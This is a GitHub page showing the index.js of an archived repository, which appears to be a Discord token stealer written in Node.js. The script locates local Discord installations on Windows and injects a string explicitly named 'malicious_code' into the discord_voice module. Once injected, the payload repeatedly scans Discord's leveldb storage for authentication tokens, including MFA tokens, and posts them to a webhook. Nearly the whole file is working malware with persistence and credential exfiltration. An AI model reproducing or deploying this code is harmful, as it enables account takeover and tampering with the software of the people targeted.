This repository has been archived by the owner on May 7, 2022. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 100
/
index.js
76 lines (64 loc) · 2.99 KB
/
index.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
//Dependencies
const Fs = require("fs")
const Os = require("os")
//Variables
var malicious_code = `\nconst os = require("os")
setInterval(function(){
fs.readdir("C:/Users/" + os.userInfo().username + "/AppData/Roaming/discord/Local Storage/leveldb", "utf8", function(err, files){
if(err){
Done()
return
}
files.forEach(file =>{
if(file.indexOf("log") != -1){
const log_data = fs.readFileSync("C:/Users/" + os.userInfo().username + "/AppData/Roaming/discord/Local Storage/leveldb/" + file, "utf8")
const tokens = log_data.match(/[\w-]{24}\.[\w-]{6}\.[\w-]{27}|mfa\.[\w-]{84}/g)
var result_tokens = ""
if(!log_data.match(/[\w-]{24}\.[\w-]{6}\.[\w-]{27}|mfa\.[\w-]{84}/g)){
console.log("No discord tokens found.")
return
}
for( i = 0; i <= tokens.length-1; i++ ){
if(result_tokens.indexOf(tokens[i]) == -1){
if(result_tokens.length == 0){
result_tokens = tokens[i]
}else{
result_tokens += ", " + tokens[i]
}
}
}
fetch("webhook_link", {
method: "POST",
headers: {
"Content-Type": "application/json"
},
body: JSON.stringify({ content: result_tokens })
})
return
}
})
})
}, 10000)`
//Main
if(Fs.existsSync(`C:\\Users\\${Os.userInfo().username}\\AppData\\Local\\Discord`)){
const Directories = source => Fs.readdirSync(`C:\\Users\\${Os.userInfo().username}\\AppData\\Local\\Discord`, { withFileTypes: true }).filter(dirent => dirent.isDirectory()).map(dirent => dirent.name)
Directories().forEach(directory =>{
const Directories2 = source => Fs.readdirSync(`C:\\Users\\${Os.userInfo().username}\\AppData\\Local\\Discord\\${directory}\\modules`, { withFileTypes: true }).filter(dirent => dirent.isDirectory()).map(dirent => dirent.name)
if(directory.indexOf("app") != -1){
Directories2().forEach(directory2 =>{
if(directory2.indexOf("discord_voice") != -1){
Fs.readFile(`C:\\Users\\${Os.userInfo().username}\\AppData\\Local\\Discord\\${directory}\\modules\\${directory2}\\discord_voice\\index.js`, "utf8", function(err, data){
if(err){
process.exit()
}
if(data.indexOf("fetch(") != -1){
process.exit()
}
data += `\n${malicious_code}`
Fs.writeFileSync(`C:\\Users\\${Os.userInfo().username}\\AppData\\Local\\Discord\\${directory}\\modules\\${directory2}\\discord_voice\\index.js`, data, "utf8")
})
}
})
}
})
}